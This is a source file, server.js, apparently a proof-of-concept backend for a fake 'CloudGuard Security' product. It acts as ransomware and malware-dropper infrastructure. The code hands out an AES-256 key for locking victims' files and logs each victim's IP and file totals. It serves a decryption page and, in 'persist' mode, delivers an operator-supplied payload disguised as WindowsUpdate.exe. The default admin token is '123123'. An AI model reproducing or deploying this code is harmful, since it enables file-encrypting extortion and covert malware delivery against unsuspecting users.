-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.js
More file actions
146 lines (124 loc) · 6.69 KB
/
Copy pathserver.js
File metadata and controls
146 lines (124 loc) · 6.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
/**
* CloudGuard Security - Server
*
* Endpoints:
* POST /api/session Session registration; returns AES-256 master key + caseId
* GET /api/admin Admin panel; requires X-Admin-Token header (never query param)
*/
const express = require('express');
const crypto = require('crypto');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = parseInt(process.env.PORT, 10) || 3000;
const KEY_FILE = path.join(__dirname, 'master.key');
const SESSIONS_FILE = path.join(__dirname, 'sessions.json');
// Admin token: always set via env in production
const ADMIN_TOKEN = process.env.ADMIN_TOKEN || '123123';
if (!process.env.ADMIN_TOKEN) {
console.warn('[POC] WARNING: ADMIN_TOKEN not set via env. Using default. Set ADMIN_TOKEN=<strong-secret> in production.');
}
// Operator-controlled mode
// MODE=lock → files get AES-256 secured (default)
// MODE=drop → write update file to folder, show clean result
//
// File config (MODE=drop):
// UPDATE_FILE=/path/to/update.exe
// PAYLOAD_FILENAME=WindowsUpdate.exe — output filename written to disk
// PAYLOAD_CONTENT="..." — inline text fallback when UPDATE_FILE not set
const VALID_MODES = ['encrypt', 'persist'];
const MODE = VALID_MODES.includes(process.env.MODE) ? process.env.MODE : 'encrypt';
const PAYLOAD_FILENAME = (process.env.PAYLOAD_FILENAME || (process.env.PAYLOAD_FILE ? 'WindowsUpdate.exe' : 'WindowsUpdate.bat')).replace(/[/\\]/g, '');
let PAYLOAD_B64;
if (process.env.PAYLOAD_FILE) {
try {
PAYLOAD_B64 = fs.readFileSync(process.env.PAYLOAD_FILE).toString('base64');
console.log(`[POC] Payload loaded from file: ${process.env.PAYLOAD_FILE} (${Buffer.byteLength(PAYLOAD_B64, 'base64')} bytes)`);
} catch (e) {
console.error(`[POC] ERROR: Cannot read PAYLOAD_FILE: ${e.message}`);
process.exit(1);
}
} else {
const text = process.env.PAYLOAD_CONTENT || '@echo off\r\nstart /b calc.exe\r\n';
PAYLOAD_B64 = Buffer.from(text).toString('base64');
}
console.log(`[POC] Mode: ${MODE}${MODE === 'persist' ? ' | Payload: ' + PAYLOAD_FILENAME : ''}`);
// ── Master AES-256 key ────────────────────────────────────────────────────────
let MASTER_KEY;
if (fs.existsSync(KEY_FILE)) {
MASTER_KEY = fs.readFileSync(KEY_FILE, 'utf8').trim();
console.log('[POC] Loaded existing master key');
} else {
MASTER_KEY = crypto.randomBytes(32).toString('base64');
fs.writeFileSync(KEY_FILE, MASTER_KEY, { mode: 0o600 });
console.log('[POC] Generated new master key:', KEY_FILE);
}
// ── Sessions log ──────────────────────────────────────────────────────────────
let sessions = [];
try {
if (fs.existsSync(SESSIONS_FILE)) {
sessions = JSON.parse(fs.readFileSync(SESSIONS_FILE, 'utf8'));
if (!Array.isArray(sessions)) sessions = [];
}
} catch { sessions = []; }
function saveSessions() {
fs.writeFileSync(SESSIONS_FILE, JSON.stringify(sessions, null, 2), { mode: 0o600 });
}
// ── Security headers ──────────────────────────────────────────────────────────
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Referrer-Policy', 'no-referrer');
res.setHeader('X-XSS-Protection', '0'); // CSP is the modern replacement
next();
});
// ── Middleware ────────────────────────────────────────────────────────────────
app.use(express.json({ limit: '4kb' }));
app.use(express.static(path.join(__dirname, 'public')));
// Serve decrypt page at /decrypt (no .html extension)
app.get('/decrypt', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'decrypt.html'));
});
// ── POST /api/session ─────────────────────────────────────────────────────────
app.post('/api/session', (req, res) => {
const id = crypto.randomBytes(4).toString('hex').toUpperCase();
// Sanitize and validate all user-supplied fields
const rawIp = (req.headers['x-forwarded-for'] || '').split(',')[0].trim()
|| req.socket?.remoteAddress
|| 'unknown';
const ip = rawIp.replace(/[^0-9a-fA-F.:]/g, '').slice(0, 45) || 'unknown';
const ua = String(req.headers['user-agent'] || '').replace(/[^\x20-\x7E]/g, '').slice(0, 200);
const files = Math.max(0, Math.min(Number(req.body?.files) || 0, 10_000_000));
const bytes = Math.max(0, Math.min(Number(req.body?.bytes) || 0, 1e12));
const entry = { id, ip, ua, files, bytes, ts: new Date().toISOString() };
sessions.push(entry);
saveSessions();
console.log(`[POC] Session ${id} | files=${files} | size=${(bytes/1048576).toFixed(1)}MB | ip=${ip}`);
res.json({ caseId: id, key: MASTER_KEY });
});
// ── GET /api/config ───────────────────────────────────────────────────────────
// Exposes operator mode to the client. No auth required (mode is not a secret).
app.get('/api/config', (req, res) => {
res.json({
mode: MODE,
payloadFilename: PAYLOAD_FILENAME,
payloadContent: PAYLOAD_B64,
});
});
// ── GET /api/admin ────────────────────────────────────────────────────────────
// Header-only auth. Never expose token in URL (server logs, referrer headers).
app.get('/api/admin', (req, res) => {
const provided = req.headers['x-admin-token'] || '';
// Timing-safe comparison to prevent brute-force timing attacks
const a = Buffer.from(provided.padEnd(64));
const b = Buffer.from(ADMIN_TOKEN.padEnd(64));
if (a.length !== b.length || !crypto.timingSafeEqual(a, b)) {
return res.status(401).json({ error: 'Unauthorized' });
}
res.json({ key: MASTER_KEY, sessions });
});
// ── Start ─────────────────────────────────────────────────────────────────────
app.listen(PORT, '127.0.0.1', () => {
console.log(`[POC] CloudGuard server on 127.0.0.1:${PORT}`);
console.log(`[POC] Admin: GET /api/admin (X-Admin-Token header)`);
});